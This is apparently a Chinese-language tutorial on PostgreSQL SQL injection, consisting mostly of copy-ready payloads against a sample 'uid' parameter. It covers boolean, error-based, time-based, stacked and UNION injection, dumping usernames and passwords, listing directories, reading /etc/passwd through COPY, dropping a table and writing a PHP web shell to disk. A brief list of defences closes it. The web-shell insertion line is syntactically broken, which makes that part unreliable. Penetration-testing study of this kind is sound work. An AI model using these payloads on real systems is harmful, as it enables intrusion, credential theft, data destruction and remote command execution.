postgresql注入
字数 772 2025-08-15 21:31:58
PostgreSQL 注入攻击全面指南
一、PostgreSQL 简介
PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的 BSD 许可证下发行。其开发者将其读作 "post-gress-Q-L",并自称是"世界上最先进的开源关系型数据库"。
二、注入类型与验证方法
1. 基于布尔型注入(Boolean-based blind)
通过条件语句的真假判断注入是否存在:
index.php?uid=1 AND 1=1 # 运行正常
index.php?uid=1 AND 1=2 # 运行异常
2. 基于报错注入(Error-based)
利用错误信息获取数据:
获取版本号:
select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
获取 Schemas 名称:
select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
3. 基于时间的盲注(Time-based blind)
通过延时判断注入:
AND 6489=(SELECT 6489 FROM PG_SLEEP(5)) # 延时5秒
4. 基于堆叠查询(Stacked queries)
执行多条SQL语句:
?uid=1;select PG_SLEEP(5)--
5. 基于联合查询(UNION query)
确定字段数:
?uid=1 order by 1,2,3 # 运行正常
?uid=1 order by 1,2,3,4 # 运行异常,确定字段数为3
测试输出位置:
?uid=1 UNION ALL SELECT NULL,('11111'),NULL-- # 查看是否输出11111
三、获取数据库结构和内容
1. 获取模式名称(schemaname)
?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
简化版:
?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--
2. 获取数据表名称
uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')
3. 获取表字段名称
?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b
JOIN pg_class a ON a.oid=b.attrelid
WHERE a.relnamespace=pg_namespace.oid
AND pg_type.oid=b.atttypid
AND attnum>0
AND a.relname='tbuser'
AND nspname='public'
4. 获取表内容
?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--
四、文件与目录操作
1. 列目录
只能列安装目录下的文件:
?uid=1 union select NULL,NULL,pg_ls_dir('./')
2. 读文件
?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM '/etc/passwd';
SELECT NULL,t,NULL FROM passwd;
3. 写文件
?uid=1;
DROP TABLE pass; # 需要为数据库存在的表
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");
COPY hacktb(t) TO '/tmp/hack.php';
五、关键函数解析
COALESCE(expression[,n])- 返回参数中第一个非NULL值的字段值CAST('1' AS numeric)- 类型转换函数pg_sleep(5)- 延时函数pg_ls_dir('./')- 列目录函数COPY ... FROM/TO- 文件读写操作
六、防御建议
- 使用参数化查询
- 实施最小权限原则
- 禁用不必要的PostgreSQL函数
- 对用户输入进行严格过滤和验证
- 定期更新PostgreSQL到最新版本
通过以上方法,可以全面了解PostgreSQL注入攻击的技术细节,并有效进行安全测试和防御。